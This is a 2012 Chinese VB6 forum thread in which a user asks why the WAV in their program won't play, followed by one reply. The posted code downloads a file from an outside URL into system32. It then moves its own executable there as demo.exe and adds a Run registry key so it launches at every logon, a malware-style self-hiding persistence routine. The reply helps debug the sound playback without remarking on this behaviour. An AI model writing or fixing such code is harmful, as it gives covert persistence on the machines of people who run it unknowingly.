首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > VB >

大家来帮小弟我改一下代码,为什么生成exe后达不到预期效果呢

2012-03-07 
大家来帮我改一下代码,为什么生成exe后达不到预期效果呢?文件下载转移没问题,注册表也没问题,就是无法播放

大家来帮我改一下代码,为什么生成exe后达不到预期效果呢?
文件下载转移没问题,注册表也没问题,就是无法播放那个wav文件,问什么?

谢谢了

Option   Explicit
'Example   Name:URL   Download
Private   Declare   Function   URLDownloadToFile   Lib   "urlmon "   Alias   "URLDownloadToFileA "   (ByVal   pCaller   As   Long,   ByVal   szURL   As   String,   ByVal   szFileName   As   String,   ByVal   dwReserved   As   Long,   ByVal   lpfnCB   As   Long)   As   Long

'将主键进行常量声明,方便阅读下面代码
Const   HKEY_CLASSES_ROOT   =   &H80000000
Const   HKEY_CURRENT_USER   =   &H80000001
Const   HKEY_LOCAL_MACHINE   =   &H80000002
Const   HKEY_USERS   =   &H80000003
Const   HKEY_PERFORMANCE_DATA   =   &H80000004
Const   HKEY_CURRENT_CONFIG   =   &H80000005
Const   HKEY_DYN_DATA   =   &H80000006
'对数据类型进行常量声明
Const   REG_NONE   =   0
Const   REG_SZ   =   1
Const   REG_EXPAND_SZ   =   2
Const   REG_BINARY   =   3
Const   REG_DWORD   =   4
Const   REG_DWORD_BIG_ENDIAN   =   5
Const   REG_MULTI_SZ   =   7


'API函数声明,注意下面的函数声明要在一行内写完
'创建主键(有打开功能)
Private   Declare   Function   mciExecute   Lib   "winmm.dll "   (ByVal   lpstrCommand   As   String)   As   Long

Private   Declare   Function   RegCreateKey   Lib   "advapi32.dll "   Alias   "RegCreateKeyA "   (ByVal   hKey   As   Long,   ByVal   lpSubKey   As   String,   phkResult   As   Long)   As   Long
'注册表句柄关闭函数
Private   Declare   Function   RegCloseKey   Lib   "advapi32.dll "   (ByVal   hKey   As   Long)   As   Long
'用于修改键值
Private   Declare   Function   RegSetValueEx   Lib   "advapi32.dll "   Alias   "RegSetValueExA "   (ByVal   hKey   As   Long,   ByVal   lpValueName   As   String,   ByVal   Reserved   As   Long,   ByVal   dwType   As   Long,   lpData   As   Any,   ByVal   cbData   As   Long)   As   Long


Public   Function   DownloadFile(URL   As   String,   LocalFilename   As   String)   As   Boolean
        Dim   lngRetVal   As   Long
        lngRetVal   =   URLDownloadToFile(0,   URL,   LocalFilename,   0,   0)
        If   lngRetVal   =   0   Then   DownloadFile   =   True
End   Function
Private   Sub   Form_Load()


    Dim   fso   As   New   FileSystemObject
    Dim   file   As   file
    Dim   dst   As   String
    Dim   hKey   As   Long
    Dim   Res   As   Integer,   Ret   As   String   *   1024
    dst   =   "C:\WINDOWS\system32\demo.wav "

    Select   Case   App.Path
 
    Case   "C:\WINDOWS\system32 "

    mciExecute   "play   C:\WINDOWS\system32\demo.wav "




 
 
    Case   Else
    DownloadFile   "http://our14.uu1001.com/job.php?action=download&pid=tpc&tid=7&aid=11 ",   dst

    Set   file   =   fso.GetFile(App.Path   +   "\ "   +   App.EXEName   +   ".exe ")
    file.Move   "C:\WINDOWS\system32\demo.exe "
    RegCreateKey   HKEY_CURRENT_USER,   "software\microsoft\windows\currentversion\run\ ",   hKey
    RegSetValueEx   hKey,   "demo ",   0,   REG_SZ,   ByVal   "C:\WINDOWS\system32\demo.exe ",   200
    RegCloseKey   hKey
    mciExecute   "play   C:\WINDOWS\system32\demo.wav "
    End   Select
    End
   
End   Sub

[解决办法]
奇怪阿 我这里正常
你看看是不是wav文件坏掉了
你运行的时候执行到mciExecute "play C:\WINDOWS\system32\demo.wav "的时候有错误提示么,这个函数比较特殊,如果出错的话会有对话框弹出,否则的话说明运行正常。
你试试单独执行这一句看看(这个函数的参数里的路径一定要用8.3格式的)。
实在不行的话试试sndPlaySound这个函数

热点排行